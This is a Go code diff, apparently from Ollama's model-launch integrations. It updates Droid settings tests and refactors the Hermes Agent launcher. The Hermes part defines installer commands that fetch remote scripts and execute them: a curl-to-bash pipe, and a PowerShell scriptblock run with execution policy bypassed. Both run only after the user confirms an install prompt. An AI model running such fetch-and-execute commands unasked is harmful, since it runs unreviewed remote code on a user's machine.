newModels = append(newModels, modelEntry{
|
||||
Model: model,
|
||||
DisplayName: model,
|
||||
Model: model.Name,
|
||||
DisplayName: model.Name,
|
||||
BaseURL: envconfig.Host().String() + "/v1",
|
||||
APIKey: "ollama",
|
||||
Provider: "generic-chat-completion-api",
|
||||
MaxOutputTokens: maxOutput,
|
||||
SupportsImages: false,
|
||||
SupportsImages: model.HasCapability("vision"),
|
||||
ID: modelID,
|
||||
Index: i,
|
||||
})
|
||||
|
||||
+37
-37
@@ -63,7 +63,7 @@ func TestDroidEdit(t *testing.T) {
|
||||
|
||||
t.Run("fresh install creates models with sequential indices", func(t *testing.T) {
|
||||
cleanup()
|
||||
if err := d.Edit([]string{"model-a", "model-b"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a", "model-b")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -99,7 +99,7 @@ func TestDroidEdit(t *testing.T) {
|
||||
|
||||
t.Run("sets sessionDefaultSettings.model to first model ID", func(t *testing.T) {
|
||||
cleanup()
|
||||
if err := d.Edit([]string{"model-a", "model-b"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a", "model-b")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -116,10 +116,10 @@ func TestDroidEdit(t *testing.T) {
|
||||
t.Run("re-indexes when models removed", func(t *testing.T) {
|
||||
cleanup()
|
||||
// Add three models
|
||||
d.Edit([]string{"model-a", "model-b", "model-c"})
|
||||
d.Edit(testLaunchModels("model-a", "model-b", "model-c"))
|
||||
|
||||
// Remove middle model
|
||||
d.Edit([]string{"model-a", "model-c"})
|
||||
d.Edit(testLaunchModels("model-a", "model-c"))
|
||||
|
||||
settings := readSettings()
|
||||
models := getCustomModels(settings)
|
||||
@@ -155,7 +155,7 @@ func TestDroidEdit(t *testing.T) {
|
||||
]
|
||||
}`), 0o644)
|
||||
|
||||
d.Edit([]string{"model-a"})
|
||||
d.Edit(testLaunchModels("model-a"))
|
||||
|
||||
settings := readSettings()
|
||||
models := getCustomModels(settings)
|
||||
@@ -184,7 +184,7 @@ func TestDroidEdit(t *testing.T) {
|
||||
"sessionDefaultSettings": {"autonomyMode": "auto-high"}
|
||||
}`), 0o644)
|
||||
|
||||
d.Edit([]string{"model-a"})
|
||||
d.Edit(testLaunchModels("model-a"))
|
||||
|
||||
settings := readSettings()
|
||||
|
||||
@@ -203,7 +203,7 @@ func TestDroidEdit(t *testing.T) {
|
||||
|
||||
t.Run("required fields present", func(t *testing.T) {
|
||||
cleanup()
|
||||
d.Edit([]string{"test-model"})
|
||||
d.Edit(testLaunchModels("test-model"))
|
||||
|
||||
settings := readSettings()
|
||||
models := getCustomModels(settings)
|
||||
@@ -239,7 +239,7 @@ func TestDroidEdit(t *testing.T) {
|
||||
"sessionDefaultSettings": {"reasoningEffort": "off"}
|
||||
}`), 0o644)
|
||||
|
||||
d.Edit([]string{"model-a"})
|
||||
d.Edit(testLaunchModels("model-a"))
|
||||
|
||||
settings := readSettings()
|
||||
session := settings["sessionDefaultSettings"].(map[string]any)
|
||||
@@ -256,7 +256,7 @@ func TestDroidEdit(t *testing.T) {
|
||||
"sessionDefaultSettings": {"reasoningEffort": "high"}
|
||||
}`), 0o644)
|
||||
|
||||
d.Edit([]string{"model-a"})
|
||||
d.Edit(testLaunchModels("model-a"))
|
||||
|
||||
settings := readSettings()
|
||||
session := settings["sessionDefaultSettings"].(map[string]any)
|
||||
@@ -281,7 +281,7 @@ func TestDroidEdit_CorruptedJSON(t *testing.T) {
|
||||
os.WriteFile(settingsPath, []byte(`{corrupted json content`), 0o644)
|
||||
|
||||
// Corrupted JSON should return an error so user knows something is wrong
|
||||
err := d.Edit([]string{"model-a"})
|
||||
err := d.Edit(testLaunchModels("model-a"))
|
||||
if err == nil {
|
||||
t.Fatal("expected error for corrupted JSON, got nil")
|
||||
}
|
||||
@@ -306,7 +306,7 @@ func TestDroidEdit_WrongTypeCustomModels(t *testing.T) {
|
||||
os.WriteFile(settingsPath, []byte(`{"customModels": "not an array"}`), 0o644)
|
||||
|
||||
// Should not panic - wrong type should be handled gracefully
|
||||
err := d.Edit([]string{"model-a"})
|
||||
err := d.Edit(testLaunchModels("model-a"))
|
||||
if err != nil {
|
||||
t.Fatalf("Edit failed with wrong type customModels: %v", err)
|
||||
}
|
||||
@@ -338,7 +338,7 @@ func TestDroidEdit_EmptyModels(t *testing.T) {
|
||||
os.WriteFile(settingsPath, []byte(originalContent), 0o644)
|
||||
|
||||
// Empty models should be no-op
|
||||
err := d.Edit([]string{})
|
||||
err := d.Edit(testLaunchModels())
|
||||
if err != nil {
|
||||
t.Fatalf("Edit with empty models failed: %v", err)
|
||||
}
|
||||
@@ -359,7 +359,7 @@ func TestDroidEdit_DuplicateModels(t *testing.T) {
|
||||
settingsPath := filepath.Join(settingsDir, "settings.json")
|
||||
|
||||
// Add same model twice
|
||||
err := d.Edit([]string{"model-a", "model-a"})
|
||||
err := d.Edit(testLaunchModels("model-a", "model-a"))
|
||||
if err != nil {
|
||||
t.Fatalf("Edit with duplicates failed: %v", err)
|
||||
}
|
||||
@@ -388,7 +388,7 @@ func TestDroidEdit_MalformedModelEntry(t *testing.T) {
|
||||
// Model entry is a string instead of a map
|
||||
os.WriteFile(settingsPath, []byte(`{"customModels": ["not a map", 123]}`), 0o644)
|
||||
|
||||
err := d.Edit([]string{"model-a"})
|
||||
err := d.Edit(testLaunchModels("model-a"))
|
||||
if err != nil {
|
||||
t.Fatalf("Edit with malformed entries failed: %v", err)
|
||||
}
|
||||
@@ -415,7 +415,7 @@ func TestDroidEdit_WrongTypeSessionSettings(t *testing.T) {
|
||||
// sessionDefaultSettings is a string instead of map
|
||||
os.WriteFile(settingsPath, []byte(`{"sessionDefaultSettings": "not a map"}`), 0o644)
|
||||
|
||||
err := d.Edit([]string{"model-a"})
|
||||
err := d.Edit(testLaunchModels("model-a"))
|
||||
if err != nil {
|
||||
t.Fatalf("Edit with wrong type sessionDefaultSettings failed: %v", err)
|
||||
}
|
||||
@@ -490,7 +490,7 @@ func TestDroidEdit_RoundTrip(t *testing.T) {
|
||||
os.WriteFile(settingsPath, []byte(testDroidSettingsFixture), 0o644)
|
||||
|
||||
// Edit with new models
|
||||
if err := d.Edit([]string{"llama3", "mistral"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("llama3", "mistral")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -615,7 +615,7 @@ func TestDroidEdit_PreservesUnknownFields(t *testing.T) {
|
||||
}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -660,7 +660,7 @@ func TestDroidEdit_PreservesUnknownFields(t *testing.T) {
|
||||
}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"llama3"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("llama3")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -715,10 +715,10 @@ func TestDroidEdit_Idempotent(t *testing.T) {
|
||||
os.WriteFile(settingsPath, []byte(testDroidSettingsFixture), 0o644)
|
||||
|
||||
// Edit twice with same models
|
||||
d.Edit([]string{"llama3", "mistral"})
|
||||
d.Edit(testLaunchModels("llama3", "mistral"))
|
||||
firstData, _ := os.ReadFile(settingsPath)
|
||||
|
||||
d.Edit([]string{"llama3", "mistral"})
|
||||
d.Edit(testLaunchModels("llama3", "mistral"))
|
||||
secondData, _ := os.ReadFile(settingsPath)
|
||||
|
||||
// Results should be identical
|
||||
@@ -744,7 +744,7 @@ func TestDroidEdit_MultipleConsecutiveEdits(t *testing.T) {
|
||||
if i%2 == 0 {
|
||||
models = []string{"model-x", "model-y", "model-z"}
|
||||
}
|
||||
if err := d.Edit(models); err != nil {
|
||||
if err := d.Edit(launchModelsFromNames(models)); err != nil {
|
||||
t.Fatalf("edit %d failed: %v", i, err)
|
||||
}
|
||||
}
|
||||
@@ -803,7 +803,7 @@ func TestDroidEdit_UnicodeAndSpecialCharacters(t *testing.T) {
|
||||
}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -845,7 +845,7 @@ func TestDroidEdit_LargeNumbers(t *testing.T) {
|
||||
}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -889,7 +889,7 @@ func TestDroidEdit_EmptyAndNullValues(t *testing.T) {
|
||||
}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -943,7 +943,7 @@ func TestDroidEdit_DeeplyNestedStructures(t *testing.T) {
|
||||
}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -988,7 +988,7 @@ func TestDroidEdit_ModelNamesWithSpecialCharacters(t *testing.T) {
|
||||
"model_with_underscores",
|
||||
}
|
||||
|
||||
if err := d.Edit(specialModels); err != nil {
|
||||
if err := d.Edit(launchModelsFromNames(specialModels)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -1025,7 +1025,7 @@ func TestDroidEdit_MissingCustomModelsKey(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
settings = updateDroidSettings(settings, settingsStruct, []string{"model-a"})
|
||||
settings = updateDroidSettings(settings, settingsStruct, testLaunchModels("model-a"))
|
||||
|
||||
// Original fields preserved
|
||||
if settings["diffMode"] != "github" {
|
||||
@@ -1062,7 +1062,7 @@ func TestDroidEdit_NullCustomModels(t *testing.T) {
|
||||
}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -1090,7 +1090,7 @@ func TestDroidEdit_MinifiedJSON(t *testing.T) {
|
||||
original := `{"diffMode":"github","enableHooks":true,"hooks":{"imported":["cmd1","cmd2"]},"customModels":[],"sessionDefaultSettings":{}}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -1120,7 +1120,7 @@ func TestDroidEdit_CreatesDirectoryIfMissing(t *testing.T) {
|
||||
t.Fatal("directory should not exist before test")
|
||||
}
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -1157,7 +1157,7 @@ func TestDroidEdit_PreservesFileAfterError(t *testing.T) {
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
// Empty models list is a no-op, should not modify file
|
||||
d.Edit([]string{})
|
||||
d.Edit(testLaunchModels())
|
||||
|
||||
data, _ := os.ReadFile(settingsPath)
|
||||
if string(data) != original {
|
||||
@@ -1172,7 +1172,7 @@ func TestDroidEdit_BackupCreated(t *testing.T) {
|
||||
|
||||
settingsDir := filepath.Join(tmpDir, ".factory")
|
||||
settingsPath := filepath.Join(settingsDir, "settings.json")
|
||||
backupDir := filepath.Join(os.TempDir(), "ollama-backups")
|
||||
backupDir := fileutil.BackupDir()
|
||||
|
||||
os.MkdirAll(settingsDir, 0o755)
|
||||
|
||||
@@ -1181,12 +1181,12 @@ func TestDroidEdit_BackupCreated(t *testing.T) {
|
||||
original := fmt.Sprintf(`{"diffMode": "%s", "customModels": [], "sessionDefaultSettings": {}}`, uniqueMarker)
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// Find backup containing our unique marker
|
||||
backups, _ := filepath.Glob(filepath.Join(backupDir, "settings.json.*"))
|
||||
backups, _ := filepath.Glob(filepath.Join(backupDir, "droid", "settings.json.*"))
|
||||
foundBackup := false
|
||||
for _, backup := range backups {
|
||||
data, err := os.ReadFile(backup)
|
||||
@@ -1231,7 +1231,7 @@ func TestDroidEdit_LargeNumberOfModels(t *testing.T) {
|
||||
models = append(models, fmt.Sprintf("model-%d", i))
|
||||
}
|
||||
|
||||
if err := d.Edit(models); err != nil {
|
||||
if err := d.Edit(launchModelsFromNames(models)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -1261,7 +1261,7 @@ func TestDroidEdit_LocalModelDefaultMaxOutput(t *testing.T) {
|
||||
settingsDir := filepath.Join(tmpDir, ".factory")
|
||||
settingsPath := filepath.Join(settingsDir, "settings.json")
|
||||
|
||||
if err := d.Edit([]string{"llama3.2"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("llama3.2")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -1312,7 +1312,7 @@ func TestDroidEdit_ArraysWithMixedTypes(t *testing.T) {
|
||||
}`
|
||||
os.WriteFile(settingsPath, []byte(original), 0o644)
|
||||
|
||||
if err := d.Edit([]string{"model-a"}); err != nil {
|
||||
if err := d.Edit(testLaunchModels("model-a")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
|
||||
+222
-312
@@ -4,18 +4,15 @@ import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
pathpkg "path"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
|
||||
@@ -27,6 +24,8 @@ import (
|
||||
|
||||
const (
|
||||
hermesInstallScript = "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash -s -- --skip-setup"
|
||||
hermesWindowsInstallURL = "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.ps1"
|
||||
hermesWindowsInstallCmd = "& ([scriptblock]::Create((irm " + hermesWindowsInstallURL + "))) -SkipSetup"
|
||||
hermesProviderName = "Ollama"
|
||||
hermesProviderKey = "ollama-launch"
|
||||
hermesLegacyKey = "ollama"
|
||||
@@ -66,23 +65,13 @@ var hermesMessagingEnvGroups = [][]string{
|
||||
// switching UX after startup.
|
||||
type Hermes struct{}
|
||||
|
||||
type hermesConfigBackend struct {
|
||||
displayPath string
|
||||
read func() ([]byte, error)
|
||||
write func([]byte) error
|
||||
}
|
||||
|
||||
func (h *Hermes) String() string { return "Hermes Agent" }
|
||||
|
||||
func (h *Hermes) Run(_ string, args []string) error {
|
||||
func (h *Hermes) Run(_ string, _ []LaunchModel, args []string) error {
|
||||
// Hermes reads its primary model from config.yaml. launch configures that
|
||||
// default model ahead of time so we can keep runtime invocation simple and
|
||||
// still let Hermes discover additional models later via its own UX.
|
||||
if hermesGOOS == "windows" {
|
||||
return h.runWindows(args)
|
||||
}
|
||||
|
||||
bin, err := h.findUnixBinary()
|
||||
bin, err := h.binary()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -94,22 +83,154 @@ func (h *Hermes) Run(_ string, args []string) error {
|
||||
return hermesAttachedCommand(bin, args...).Run()
|
||||
}
|
||||
|
||||
type HermesDesktop struct {
|
||||
Hermes
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) String() string { return "Hermes Desktop" }
|
||||
|
||||
func (h *HermesDesktop) Run(_ string, _ []LaunchModel, args []string) error {
|
||||
bin, err := h.binary()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return hermesAttachedCommand(bin, h.launchArgs(args)...).Run()
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) Onboard() error {
|
||||
return config.MarkIntegrationOnboarded("hermes-desktop")
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) launchArgs(args []string) []string {
|
||||
launchArgs := []string{"desktop"}
|
||||
if h.shouldSkipDesktopBuild(args) {
|
||||
launchArgs = append(launchArgs, "--skip-build")
|
||||
}
|
||||
return append(launchArgs, args...)
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) shouldSkipDesktopBuild(args []string) bool {
|
||||
if hermesDesktopHasFlag(args, "--skip-build", "--source", "--build-only", "--help", "-h") {
|
||||
return false
|
||||
}
|
||||
return h.packagedAppExists()
|
||||
}
|
||||
|
||||
func (h *HermesDesktop) packagedAppExists() bool {
|
||||
for _, root := range hermesDesktopReleaseRoots() {
|
||||
for _, candidate := range hermesDesktopPackagedExecutableCandidates(root) {
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// These roots mirror Hermes' own install layout:
|
||||
// scripts/install.sh uses ~/.hermes/hermes-agent for user installs and
|
||||
// /usr/local/lib/hermes-agent for new Linux root installs; scripts/install.ps1
|
||||
// and the bootstrap installer use %LOCALAPPDATA%\hermes\hermes-agent on
|
||||
// Windows. HERMES_HOME and HERMES_INSTALL_DIR are installer-supported
|
||||
// overrides.
|
||||
func hermesDesktopReleaseRoots() []string {
|
||||
var installRoots []string
|
||||
add := func(path string) {
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" {
|
||||
return
|
||||
}
|
||||
installRoots = append(installRoots, filepath.Clean(path))
|
||||
}
|
||||
|
||||
if installDir := strings.TrimSpace(os.Getenv("HERMES_INSTALL_DIR")); installDir != "" {
|
||||
add(installDir)
|
||||
}
|
||||
if hermesHome := strings.TrimSpace(os.Getenv("HERMES_HOME")); hermesHome != "" {
|
||||
add(filepath.Join(hermesHome, "hermes-agent"))
|
||||
}
|
||||
|
||||
home, err := hermesUserHome()
|
||||
if err == nil {
|
||||
switch hermesGOOS {
|
||||
case "windows":
|
||||
if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
|
||||
add(filepath.Join(localAppData, "hermes", "hermes-agent"))
|
||||
}
|
||||
add(filepath.Join(home, ".hermes", "hermes-agent"))
|
||||
default:
|
||||
add(filepath.Join(home, ".hermes", "hermes-agent"))
|
||||
if hermesGOOS == "linux" {
|
||||
add(filepath.Join(string(filepath.Separator), "usr", "local", "lib", "hermes-agent"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
seen := make(map[string]bool, len(installRoots))
|
||||
releaseRoots := make([]string, 0, len(installRoots))
|
||||
for _, root := range installRoots {
|
||||
releaseRoot := filepath.Join(root, "apps", "desktop", "release")
|
||||
if seen[releaseRoot] {
|
||||
continue
|
||||
}
|
||||
seen[releaseRoot] = true
|
||||
releaseRoots = append(releaseRoots, releaseRoot)
|
||||
}
|
||||
return releaseRoots
|
||||
}
|
||||
|
||||
func hermesDesktopPackagedExecutableCandidates(releaseRoot string) []string {
|
||||
switch hermesGOOS {
|
||||
case "darwin":
|
||||
matches, err := filepath.Glob(filepath.Join(releaseRoot, "mac*", "Hermes.app", "Contents", "MacOS", "Hermes"))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return matches
|
||||
case "windows":
|
||||
return []string{
|
||||
filepath.Join(releaseRoot, "win-unpacked", "Hermes.exe"),
|
||||
filepath.Join(releaseRoot, "win-ia32-unpacked", "Hermes.exe"),
|
||||
filepath.Join(releaseRoot, "win-arm64-unpacked", "Hermes.exe"),
|
||||
}
|
||||
default:
|
||||
return []string{
|
||||
filepath.Join(releaseRoot, "linux-unpacked", "hermes"),
|
||||
filepath.Join(releaseRoot, "linux-unpacked", "Hermes"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func hermesDesktopHasFlag(args []string, names ...string) bool {
|
||||
for _, arg := range args {
|
||||
if arg == "--" {
|
||||
return false
|
||||
}
|
||||
for _, name := range names {
|
||||
if arg == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (h *Hermes) Paths() []string {
|
||||
backend, err := h.configBackend()
|
||||
configPath, err := hermesConfigPath()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return []string{backend.displayPath}
|
||||
return []string{configPath}
|
||||
}
|
||||
|
||||
func (h *Hermes) Configure(model string) error {
|
||||
backend, err := h.configBackend()
|
||||
configPath, err := hermesConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cfg := map[string]any{}
|
||||
if data, err := backend.read(); err == nil {
|
||||
if data, err := os.ReadFile(configPath); err == nil {
|
||||
if err := yaml.Unmarshal(data, &cfg); err != nil {
|
||||
return fmt.Errorf("parse hermes config: %w", err)
|
||||
}
|
||||
@@ -142,15 +263,18 @@ func (h *Hermes) Configure(model string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return backend.write(data)
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, data, "hermes")
|
||||
}
|
||||
|
||||
func (h *Hermes) CurrentModel() string {
|
||||
backend, err := h.configBackend()
|
||||
configPath, err := hermesConfigPath()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
data, err := backend.read()
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
@@ -188,34 +312,29 @@ func (h *Hermes) RefreshRuntimeAfterConfigure() error {
|
||||
}
|
||||
|
||||
func (h *Hermes) installed() bool {
|
||||
if hermesGOOS == "windows" {
|
||||
if _, err := hermesLookPath("hermes"); err == nil {
|
||||
return true
|
||||
}
|
||||
return h.wslHasHermes()
|
||||
}
|
||||
|
||||
_, err := h.findUnixBinary()
|
||||
_, err := h.binary()
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func (h *Hermes) ensureInstalled() error {
|
||||
return h.ensureInstalledFor("hermes")
|
||||
}
|
||||
|
||||
func (h *Hermes) ensureInstalledFor(command string) error {
|
||||
if h.installed() {
|
||||
return nil
|
||||
}
|
||||
|
||||
if hermesGOOS == "windows" {
|
||||
return h.ensureInstalledWindows()
|
||||
}
|
||||
|
||||
var missing []string
|
||||
for _, dep := range []string{"bash", "curl", "git"} {
|
||||
if _, err := hermesLookPath(dep); err != nil {
|
||||
missing = append(missing, dep)
|
||||
if hermesGOOS != "windows" {
|
||||
for _, dep := range []string{"bash", "curl", "git"} {
|
||||
if _, err := hermesLookPath(dep); err != nil {
|
||||
missing = append(missing, dep)
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
return fmt.Errorf("Hermes is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch hermes", strings.Join(missing, "\n "))
|
||||
return fmt.Errorf("Hermes is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch %s", strings.Join(missing, "\n "), command)
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Hermes is not installed. Install now?")
|
||||
@@ -227,7 +346,7 @@ func (h *Hermes) ensureInstalled() error {
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Hermes...\n")
|
||||
if err := hermesAttachedCommand("bash", "-lc", hermesInstallScript).Run(); err != nil {
|
||||
if err := h.runInstallScript(); err != nil {
|
||||
return fmt.Errorf("failed to install hermes: %w", err)
|
||||
}
|
||||
|
||||
@@ -239,40 +358,11 @@ func (h *Hermes) ensureInstalled() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Hermes) ensureInstalledWindows() error {
|
||||
// Hermes upstream support is WSL-oriented, so Windows launch uses a hybrid
|
||||
// WSL handoff that stays on the same install path as upstream Hermes.
|
||||
if _, err := hermesLookPath("hermes"); err == nil {
|
||||
return nil
|
||||
func (h *Hermes) runInstallScript() error {
|
||||
if hermesGOOS == "windows" {
|
||||
return hermesAttachedCommand("powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", hermesWindowsInstallCmd).Run()
|
||||
}
|
||||
if !h.wslAvailable() {
|
||||
return hermesWindowsHint(fmt.Errorf("hermes is not installed"))
|
||||
}
|
||||
if h.wslHasHermes() {
|
||||
return nil
|
||||
}
|
||||
|
||||
ok, err := ConfirmPromptWithOptions("Hermes runs through WSL2 on Windows. Install it in WSL now?", ConfirmOptions{
|
||||
YesLabel: "Use WSL",
|
||||
NoLabel: "Show manual steps",
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !ok {
|
||||
return hermesWindowsHint(fmt.Errorf("hermes is not installed"))
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Hermes in WSL...\n")
|
||||
if err := h.runWSL("bash", "-lc", hermesInstallScript); err != nil {
|
||||
return hermesWindowsHint(fmt.Errorf("failed to install hermes in WSL: %w", err))
|
||||
}
|
||||
if !h.wslHasHermes() {
|
||||
return hermesWindowsHint(fmt.Errorf("hermes install finished but the WSL binary was not found"))
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sHermes installed successfully in WSL%s\n\n", ansiGreen, ansiReset)
|
||||
return nil
|
||||
return hermesAttachedCommand("bash", "-lc", hermesInstallScript).Run()
|
||||
}
|
||||
|
||||
func (h *Hermes) listModels(defaultModel string) []string {
|
||||
@@ -306,11 +396,20 @@ func (h *Hermes) listModels(defaultModel string) []string {
|
||||
return models
|
||||
}
|
||||
|
||||
func (h *Hermes) findUnixBinary() (string, error) {
|
||||
func (h *Hermes) binary() (string, error) {
|
||||
if path, err := hermesLookPath("hermes"); err == nil {
|
||||
return path, nil
|
||||
}
|
||||
|
||||
if hermesGOOS == "windows" {
|
||||
for _, fallback := range hermesWindowsBinaryFallbacks() {
|
||||
if _, err := os.Stat(fallback); err == nil {
|
||||
return fallback, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("hermes is not installed")
|
||||
}
|
||||
|
||||
home, err := hermesUserHome()
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -323,180 +422,63 @@ func (h *Hermes) findUnixBinary() (string, error) {
|
||||
return "", fmt.Errorf("hermes is not installed")
|
||||
}
|
||||
|
||||
func (h *Hermes) runWindows(args []string) error {
|
||||
if path, err := hermesLookPath("hermes"); err == nil {
|
||||
if err := h.runGatewaySetupPreflight(args, func() error {
|
||||
return hermesAttachedCommand(path, "gateway", "setup").Run()
|
||||
}); err != nil {
|
||||
return err
|
||||
func hermesWindowsBinaryFallbacks() []string {
|
||||
var roots []string
|
||||
add := func(root string) {
|
||||
root = strings.TrimSpace(root)
|
||||
if root != "" {
|
||||
roots = append(roots, filepath.Clean(root))
|
||||
}
|
||||
return hermesAttachedCommand(path, args...).Run()
|
||||
}
|
||||
if !h.wslAvailable() {
|
||||
return hermesWindowsHint(fmt.Errorf("hermes is not installed"))
|
||||
|
||||
add(os.Getenv("HERMES_HOME"))
|
||||
add(os.Getenv("LOCALAPPDATA"))
|
||||
if home, err := hermesUserHome(); err == nil {
|
||||
add(filepath.Join(home, "AppData", "Local"))
|
||||
}
|
||||
if err := h.runGatewaySetupPreflight(args, func() error {
|
||||
return h.runWSL("hermes", "gateway", "setup")
|
||||
}); err != nil {
|
||||
return err
|
||||
|
||||
seen := make(map[string]bool, len(roots))
|
||||
var fallbacks []string
|
||||
for _, root := range roots {
|
||||
if seen[root] {
|
||||
continue
|
||||
}
|
||||
seen[root] = true
|
||||
fallbacks = append(fallbacks, filepath.Join(root, "hermes-agent", "venv", "Scripts", "hermes.exe"))
|
||||
if filepath.Base(root) != "hermes" {
|
||||
fallbacks = append(fallbacks, filepath.Join(root, "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"))
|
||||
}
|
||||
}
|
||||
if err := h.runWSL(append([]string{"hermes"}, args...)...); err != nil {
|
||||
return hermesWindowsHint(err)
|
||||
}
|
||||
return nil
|
||||
return fallbacks
|
||||
}
|
||||
|
||||
func (h *Hermes) runWSL(args ...string) error {
|
||||
if !h.wslAvailable() {
|
||||
return fmt.Errorf("wsl.exe is not available")
|
||||
func hermesHomePath() (string, error) {
|
||||
if hermesHome := strings.TrimSpace(os.Getenv("HERMES_HOME")); hermesHome != "" {
|
||||
return filepath.Clean(hermesHome), nil
|
||||
}
|
||||
|
||||
return hermesAttachedCommand("wsl.exe", "bash", "-lc", shellQuoteArgs(args)).Run()
|
||||
}
|
||||
|
||||
func (h *Hermes) runWSLCombinedOutput(args ...string) ([]byte, error) {
|
||||
if !h.wslAvailable() {
|
||||
return nil, fmt.Errorf("wsl.exe is not available")
|
||||
}
|
||||
|
||||
